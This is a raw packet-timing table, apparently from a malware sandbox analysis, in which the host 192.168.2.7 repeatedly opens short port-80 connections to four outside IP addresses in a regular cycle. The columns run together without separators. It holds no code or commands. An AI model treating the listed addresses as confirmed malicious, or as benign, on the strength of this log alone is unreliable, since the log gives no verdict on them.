                                                          Jul 5, 2024 08:00:27.800000906 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:27.800045013 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:27.800232887 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:27.805038929 CEST804973537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:28.512835979 CEST804973537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:28.512892962 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:28.540302992 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:28.545209885 CEST804973537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:28.794955015 CEST804973537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:28.795013905 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:28.922158003 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:28.927649021 CEST804973654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:28.927714109 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:28.927989006 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:28.939254045 CEST804973654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:29.681262970 CEST804973654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:29.681289911 CEST804973654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:29.681324959 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:29.681366920 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:29.686541080 CEST4973680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:29.694161892 CEST804973654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:29.739481926 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:29.744338989 CEST804973744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:29.744415998 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:29.744544029 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:29.749262094 CEST804973744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.257817030 CEST804973744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.257844925 CEST804973744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.257915974 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.257915974 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.259347916 CEST4973780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.262809038 CEST4973880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.264142990 CEST804973744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.267673969 CEST804973844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.267803907 CEST4973880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.268121004 CEST4973880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:30.272840977 CEST804973844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.755021095 CEST804973844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.755147934 CEST804973844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:30.759255886 CEST4973880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:31.180558920 CEST4973880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:31.185431957 CEST804973844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:31.298650980 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.299015045 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.303920031 CEST804973978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:31.304013968 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.304397106 CEST804973478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:31.304445028 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.304904938 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.309737921 CEST804973978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:31.963129997 CEST804973978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:31.963186026 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:31.988091946 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:31.988394976 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:31.993695021 CEST804973537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:31.993752003 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:31.993765116 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:31.993812084 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:31.994021893 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:31.998692989 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:32.702356100 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:32.703452110 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:32.705703974 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:32.710462093 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:32.944922924 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:32.945786953 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:33.100708961 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.107496023 CEST804974154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:33.111704111 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.112704992 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.122118950 CEST804974154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:33.851730108 CEST804974154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:33.851748943 CEST804974154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:33.851795912 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.851795912 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.853228092 CEST4974180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:33.857976913 CEST804974154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:33.863348007 CEST4974280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:33.868149996 CEST804974244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:33.868221998 CEST4974280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:33.868366003 CEST4974280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:33.874272108 CEST804974244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.372440100 CEST804974244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.372462034 CEST804974244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.372641087 CEST4974280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.373908997 CEST4974280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.378727913 CEST804974244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.388639927 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.393448114 CEST804974344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.393506050 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.404176950 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.409028053 CEST804974344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.927488089 CEST804974344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.927545071 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.927870035 CEST804974344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.927917957 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.928502083 CEST4974380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:34.929502010 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:34.929847956 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:34.933198929 CEST804974344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:34.934840918 CEST804973978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:34.934885979 CEST4973980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:34.935075998 CEST804974478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:34.935261965 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:34.940615892 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:34.945935011 CEST804974478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:35.585553885 CEST804974478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:35.585627079 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:35.739854097 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:35.740205050 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:35.745227098 CEST804974037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:35.746073008 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:35.746128082 CEST4974080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:35.746159077 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:35.746331930 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:35.751914024 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:36.562469006 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:36.562537909 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:36.583729982 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:36.588599920 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:36.810112000 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:36.810180902 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:36.937160969 CEST4974680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:36.943065882 CEST804974654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:36.943171978 CEST4974680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:36.943362951 CEST4974680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:36.952533960 CEST804974654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:37.722232103 CEST804974654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:37.722301006 CEST804974654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:37.722419977 CEST4974680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:37.747961044 CEST4974680192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:37.758830070 CEST804974654.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:37.796576023 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:37.808775902 CEST804974744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:37.809200048 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:37.809562922 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:37.822770119 CEST804974744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.389604092 CEST804974744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.393403053 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.395520926 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.402086973 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.406764984 CEST804974744.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.409375906 CEST4974780192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.411562920 CEST804974844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.413512945 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.413717031 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.419137955 CEST804974844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.942989111 CEST804974844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.943056107 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.943064928 CEST804974844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.943794966 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.944112062 CEST4974880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:38.949258089 CEST804974844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:38.990890980 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:38.991219997 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:38.996290922 CEST804974478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:38.996305943 CEST804974978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:38.997095108 CEST4974480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:38.997095108 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:38.997095108 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:39.002031088 CEST804974978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:39.658286095 CEST804974978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:39.660588980 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:39.705214977 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:39.705569983 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:39.710448027 CEST804974537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:39.710624933 CEST4974580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:39.710716963 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:39.713331938 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:39.713480949 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:39.718307018 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:40.526458025 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:40.526560068 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:40.528126955 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:40.536834955 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:40.771905899 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:40.772687912 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:40.925499916 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:40.930330992 CEST804975154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:40.930994987 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:40.931334972 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:40.936048031 CEST804975154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:41.681221962 CEST804975154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:41.681241989 CEST804975154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:41.681287050 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:41.681325912 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:41.742548943 CEST4975180192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:41.747483015 CEST804975154.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:42.185826063 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.191028118 CEST804975244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.191116095 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.205900908 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.210903883 CEST804975244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.693475962 CEST804975244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.693532944 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.694678068 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.694762945 CEST804975244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.694813967 CEST4975280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.700037956 CEST804975244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.738260031 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.743190050 CEST804975344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:42.743295908 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.744667053 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:42.749957085 CEST804975344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:43.240045071 CEST804975344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:43.240118027 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:43.240139961 CEST804975344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:43.241028070 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:43.241064072 CEST4975380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:43.244465113 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.244868994 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.245837927 CEST804975344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:43.250469923 CEST804974978.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:43.250483990 CEST804975678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:43.250534058 CEST4974980192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.250575066 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.250922918 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.256207943 CEST804975678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:43.910943985 CEST804975678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:43.911010027 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:43.971362114 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:43.971666098 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:43.976600885 CEST804975037.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:43.976624012 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:43.976674080 CEST4975080192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:43.976708889 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:43.976891041 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:43.981718063 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:44.744829893 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:44.745215893 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:44.819582939 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:44.824450016 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:45.047343969 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:45.047498941 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:45.225826979 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.230724096 CEST804975954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:45.230788946 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.236100912 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.240923882 CEST804975954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:45.969134092 CEST804975954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:45.969211102 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.969234943 CEST804975954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:45.969284058 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.970103979 CEST4975980192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:45.971879005 CEST4976080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:45.974926949 CEST804975954.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:45.976862907 CEST804976044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:45.976944923 CEST4976080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:45.977387905 CEST4976080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:45.982433081 CEST804976044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:46.495413065 CEST804976044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:46.495445967 CEST804976044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:46.495501041 CEST4976080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:46.499346972 CEST4976080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:46.504581928 CEST804976044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:46.507201910 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:46.513506889 CEST804976144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:46.513614893 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:46.513761044 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:46.518649101 CEST804976144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:50.061292887 CEST804976144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:50.061330080 CEST804976144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:50.061350107 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:50.061407089 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:50.062208891 CEST4976180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:50.068829060 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.069205999 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.072351933 CEST804976144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:50.075588942 CEST804975678.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:50.075602055 CEST804976478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:50.075651884 CEST4975680192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.075696945 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.075881958 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.081427097 CEST804976478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:50.738629103 CEST804976478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:50.738703966 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:50.906986952 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:50.907543898 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:50.912667036 CEST804976537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:50.912759066 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:50.912792921 CEST804975737.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:50.912842035 CEST4975780192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:50.934803963 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:50.942044020 CEST804976537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:51.645929098 CEST804976537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:51.645993948 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.208059072 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.208461046 CEST4976680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.213354111 CEST804976637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:52.213370085 CEST804976537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:52.213459015 CEST4976580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.213476896 CEST4976680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.242486954 CEST4976680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:52.247309923 CEST804976637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:52.958107948 CEST804976637.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:52.958168030 CEST4976680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:53.131794930 CEST4976780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:53.136662006 CEST804976754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:53.136723995 CEST4976780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:53.141196966 CEST4976780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:53.146603107 CEST804976754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:53.858462095 CEST804976754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:53.858483076 CEST804976754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:53.858541965 CEST4976780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:53.860131979 CEST4976780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:53.863198996 CEST4976880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:53.864940882 CEST804976754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:53.868144989 CEST804976844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:53.871309042 CEST4976880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:53.871515989 CEST4976880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:53.876775026 CEST804976844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.368074894 CEST804976844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.368096113 CEST804976844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.368150949 CEST4976880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.369781017 CEST4976880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.374574900 CEST804976844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.384769917 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.389591932 CEST804976944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.392838001 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.393388033 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.398191929 CEST804976944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.890003920 CEST804976944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.890024900 CEST804976944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.890074968 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.890144110 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.909450054 CEST4976980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:54.914314032 CEST804976944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:54.938118935 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:54.938414097 CEST4977080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:54.943226099 CEST804977078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:54.943320990 CEST4977080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:54.943437099 CEST4977080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:54.943622112 CEST804976478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:54.943706989 CEST4976480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:54.948538065 CEST804977078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:55.591690063 CEST804977078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:55.591809988 CEST4977080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:55.623353958 CEST4976680192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:55.623823881 CEST4977180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:55.628462076 CEST804976637.230.104.89192.168.2.7
